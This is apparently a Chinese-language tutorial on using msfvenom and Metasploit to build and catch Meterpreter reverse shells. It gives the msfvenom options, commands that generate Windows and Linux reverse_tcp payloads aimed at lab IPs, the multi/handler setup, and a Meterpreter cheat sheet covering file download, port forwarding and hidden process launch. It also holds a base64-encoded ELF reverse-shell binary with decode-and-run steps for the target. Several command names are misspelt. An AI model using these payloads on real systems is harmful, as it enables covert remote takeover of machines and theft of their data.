msfvenom

msfvenom 查看帮助

kali-msfvenom-payload - 图1

使用帮助(中文)

  1. -p, --payload <payload> 使用指定的payload
  2. --payload-options 列出该payload参数
  3. -l, --list [type] 列出所有的payloads
  4. -n, --nopsled <length> payload指定一个 nopsled 长度
  5. -f, --format <format> 指定payload生成格式
  6. --help-formats 查看所有支持格式
  7. -e, --encoder <encoder> 使用编码器
  8. -a, --arch <arch> 指定payload构架
  9. --platform <platform> 指定payload平台
  10. --help-platforms 显示支持的平台
  11. -s, --space <length> 设定payload攻击荷载的最大长度
  12. --encoder-space <length> The maximum size of the encoded payload
  13. (defaults to the -s value)
  14. -b, --bad-chars <list> 指定bad-chars 如: 'x00xff'
  15. -i, --iterations <count> 指定编码次数
  16. -c, --add-code <path> 指定个win32 shellcode 文件
  17. -x, --template <path> 指定一个 executable 文件作为模板
  18. -k, --keep payload自动分离并注入到新的进程
  19. -o, --out <path> 存放生成的payload
  20. -v, --var-name <name> 指定自定义变量
  21. --smallest Generate the smallest possible payload
  22. -h, --help 显示帮助文件
msfvenom -l payloads

查看所有 payloda模块

kali-msfvenom-payload - 图2

msfvenom在windows中的使用

msfvenom生成shell.exe

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.217.130 lport=1211 -f exe > shell.exe

kali-msfvenom-payload - 图3

启动msfconsole

使用模块

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.217.130
lhost => 192.168.217.130
msf5 exploit(multi/handler) > set lport 1211
lport => 1211 
msf5 exploit(multi/handler) > exploit

exploit之后会监听,到windows服务器中的shell运行

kali-msfvenom-payload - 图4

将生成的shell上传至windows服务器中运行

kali-msfvenom-payload - 图5

现在得到的shell

kali-msfvenom-payload - 图6

meterpreter常用命令

基本命令

background # 让meterpreter挂起
sessions -i id # 与会话进行交互,id为数字
quit # 推出会话
shell # 获得控制台权限
irb # 开启ruby终端

文件系统命令

cat # 查看文件内容
getwd # 查看当前工作目录
uplpad # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件

网络命令

ipconfig / ifconfig # 查看网络接口信息
portwd add -l 2333 -p 3309 -r 192.168.1.102 # 端口转发,本机监听2333,把目标机3309转到本机2333
rdesktop -u Administrator -p y2my 127.0.0.1:2333 # 然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

系统命令

ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见 -i交互
getpied # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机

实例 msfvenom 使用

靶机
image.png

echo "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQ
AAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtI
l0i5AgAIucCoIqlRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5
x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==" | base64 -d > 1.elf
chmod +x 1.elf
./elf

攻击机
Payload 生成
image.png

msfvenom -p  linux/x64/meterpreter/reverse_tcp  LHOST=192.168.34.169 LPORT=2233 -f elf | base64

**
开启msf
image.png
注意设置 Payload 与上相同 监听端口 IP

run 之后即可看到结果
image.png